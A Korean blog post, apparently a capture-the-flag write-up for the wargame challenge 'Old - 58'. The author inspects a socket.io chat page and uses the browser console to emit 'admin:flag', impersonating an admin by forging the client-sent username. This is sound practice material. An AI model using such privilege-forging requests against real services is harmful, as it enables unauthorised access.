Season 1/워게임

Old - 58 Write Up

작성자 - LRTK

이번엔 채팅앱 같은 페이지가 나왔다.

 

aaaa를 입력하니, command not found라는 문구가 출력이 되었다.
command라는 단어를 보는 순간 난 ls 명령어를 입력하여 서버로 보냈다.

 

파일 이름이 출력되었다. 다른 명령어들을 입력해보았지만, 모두 command not found라는 문구가 출력이 되었다.
그러다가 flag을 입력해보니, 다른 문구가 출력이 되었다.

 

admin만 사용이 가능하다는 문구였다.
더이상 찾을 것이 없을 거 같아서 개발자 도구를 통해 코드를 살펴보았다.

 

$(function () {
  var username = "guest";
  var socket = io();
  $('form').submit(function(e){
    e.preventDefault();
    socket.emit('cmd',username+":"+$('#m').val());
    $('#m').val('');
    return false;
  });
  socket.on('cmd', function(msg){
    $('#messages').append($('<li>').text(msg));
  });
}); 

소켓 통신을 하는 스크립트가 있었다.

 

emit 함수는 서버로 데이터를 보내는 함수이고, on 함수는 서버에서 데이터를 받는 함수였다.
서버로 보내는 값을 보니, guest:input에 입력한 값을 보내고 있었다.

 

나는 이를 admin:flag로 변경하여 서버에 보내서 flag를 획득할 계획을 생각하였다.

 

개발자 도구의 콘솔로 admin으로 flag를 요청하였다.

var socket = io();
socket.emit('cmd', "admin:flag");
socket.on(
    'cmd', 
    (msg) => $('#messages').append( $('<li>').text(msg) )
);

 

그 결과 flag를 획득할 수 있었다.

 

'Season 1 > 워게임' 카테고리의 다른 글

Old - 20 Write Up  (0) 2021.05.17
Old - 1 Write Up  (0) 2021.05.17
Old - 47 Write Up  (0) 2021.05.16
Old - 32 Write Up  (0) 2021.05.16
Old - 27 Write Up  (0) 2021.05.16
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.